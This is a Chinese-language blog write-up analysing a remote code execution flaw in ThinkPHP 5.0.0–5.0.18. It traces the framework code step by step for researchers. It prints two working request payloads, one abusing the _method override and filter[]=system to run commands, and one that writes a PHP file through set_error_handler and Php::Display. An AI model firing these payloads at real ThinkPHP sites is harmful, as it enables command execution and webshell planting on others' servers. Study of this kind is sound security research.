Thinkphp5.0.0-5.0.18RCE分析

Gcow安全團隊發表於2021-06-26

Thinkphp5.0.0-5.0.18RCE分析

1.本文一共1732個字 26張圖 預計閱讀時間15分鐘
2.本文作者Panacea 屬於Gcow安全團隊複眼小組 未經過許可禁止轉載
3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情況
4.本篇文章十分適合漏洞安全研究人員進行交流學習
5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號後臺留言中指出 感激不盡

0x00.前言

本篇文章基於thinkphp5.*框架,分析兩種payload的構成以及執行流程

準備

Windows+phpstudy

tp版本:thinkphp_5.0.5_full

php版本:5.4.45

phpstorm+xdebug

0x01.Payload1

開始分析

漏洞程式碼位於:thinkphp/library/think/Request.php

首先放上payload:

s=whoami&_method=__construct&method=post&filter[]=system

圖1

method方法主要用來判斷請求方式,首先分析一下這段程式碼的邏輯:透過$_SERVERserver方法獲取請求型別,如果不存在method變數值,那麼就用表單請求型別偽裝變數覆蓋method的值,那麼就可以利用這點呼叫其他函式,預定義裡面methodfalse,那麼就會直接走下一步的是否存在表單覆蓋變數

圖2

get方法中獲取var_method的值,值為_method

圖3

config.php已經有預設值,但我們構造的payload裡面傳值_method=__construct就是變數覆蓋,因此下一步會走到__construct方法

    // 表單請求型別偽裝變數
   'var_method'             => '_method',

繼續往下跟程式碼,來到__construct構造方法,將陣列option進行遍歷操作,如果option的鍵名為該屬性的話,則將該同名的屬性賦值給\$option的鍵值,如果filter為空的空,就呼叫預設的default_filter

圖4

filter方法:

    public function filter($filter = null)
   {
       if (is_null($filter)) {
           return $this->filter;
       } else {
           $this->filter = $filter;
       }
   }

而預設的過濾方法為空

    // 預設全域性過濾方法 用逗號分隔多個
   'default_filter'         => '',

在建構函式里面走完filter之後會走input方法,繼續跟進

圖5

繼續往下跟,這裡的method已經為post方法,所以進入param方法裡的post是直接break

圖6

下一步進入filtervalue方法中,可以看到我們要傳入的值已經全部傳進了,call_user_func()函式將我們傳入的\$filter=system作為回撥函式呼叫,也就達到了RCE的目的

圖7

圖8

圖9

0x02.Payload2

前提

該利用的重點在於在一定條件下可以使用::來呼叫非靜態方法

首先我們需要了解靜態屬性和靜態方法是如何呼叫的,靜態屬性一般使用self::進行呼叫,但是在該篇部落格上面使用了::的騷操作,用::呼叫非靜態方法

<?php
class People{
   static public $name = "pana";
   public $height = 170;

   static public function output(){
       //靜態方法呼叫靜態屬性使用self
       print self::$name."<br>";
       //靜態方法呼叫非靜態屬性(普通方法)需要先例項化物件
       $t = new People() ;
       print $t -> height."<br>";

   }

   public function say(){
       //普通方法呼叫靜態屬性使用self
       print self::$name."<br>";
       //普通方法呼叫普通屬性使用$this
       print $this -> height."<br>";
   }
}
$pa = new People();
$pa -> output();
$pa -> say();
//可以使用::呼叫普通方法
$pan = People::say();

可以看到最後的輸出,仍然輸出了name的值,但是卻沒有輸出height的值

圖10

原因在於:php裡面使用雙冒號呼叫方法或者屬性時候有兩種情況:

直接使用::呼叫靜態方法或者屬性

::呼叫普通方法時,需要該方法內部沒有呼叫非靜態的方法或者變數,也就是沒有使用$this,這也就是為什麼輸出了name的值而沒有輸出height

瞭解上面這些,我們就可以開始下面的分析

0x03.分析

先放上流程圖(本人比較菜雞  所以只能用這種方法記錄下來流程)

圖11

首先放上payload

path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET

payload的分析

使用file_put_contents()寫入,使用變數覆蓋將_method的值設定為_construct,這裡的set_error_handler是設定使用者自定義的錯誤處理程式,能夠繞過標準的php錯誤處理程式,接下來就是呼叫\think\view\driver\Php下面的Display方法,因為我們要利用裡面的

eval('?>' . $content);

完成RCE的目的

圖12

雖然會報錯,但是不影響寫入

圖13

首先從App.php開始,在routeCheck方法處打斷點

public static function routeCheck($request, array $config)
{
   $path   = $request->path();
   $depr   = $config['pathinfo_depr'];
   $result = false;
   // 路由檢測
   $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
   if ($check) {
       // 開啟路由
       if (is_file(RUNTIME_PATH . 'route.php')) {
           // 讀取路由快取
           $rules = include RUNTIME_PATH . 'route.php';
           if (is_array($rules)) {
               Route::rules($rules);
           }
       } else {
           $files = $config['route_config_file'];
           foreach ($files as $file) {
               if (is_file(CONF_PATH . $file . CONF_EXT)) {
                   // 匯入路由配置
                   $rules = include CONF_PATH . $file . CONF_EXT;
                   if (is_array($rules)) {
                       Route::import($rules);
                   }
               }
           }
       }

這一步主要是獲取$path的值,也就是我們要走的路由captcha

圖14

繼續往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟進check方法,這裡面的重點就是獲取method的值,$request->method()

圖15

這裡是呼叫var_method,因為我們傳入了_method=__construct,也就是變數覆蓋,這些步驟和上面的幾乎一樣

圖16

那下一步繼續跟進__construct,走完construct函式後,可以看到大部分的值都是我們希望傳進去的,這時method的值為GET,也就是為什麼payload裡面要傳GET的原因

圖17

下一步要獲取當前請求型別的路由規則

$rules = self::$rules[$method];

可以看到這裡的ruleroute的值都發生了改變,路由值為\think\captcha\CaptchaController@index

圖18

接下來跟進routeCheck()方法,走完這個方法後,返回result

圖19

接下來進入dispatch方法

圖20

圖21

接下來進入param方法,合併請求引數和url位址列的引數

$this->param = array_merge($this->get(false), $vars, $this->route(false));

圖22

然後進入get方法,繼續跟進input方法

圖23

圖24

然後就會回到filterValue方法執行任意方法

圖25

圖26

0x04.參考文章:

https://y4tacker.blog.csdn.net/article/details/115893304

https://y4tacker.blog.csdn.net/article/details/115893304


相關文章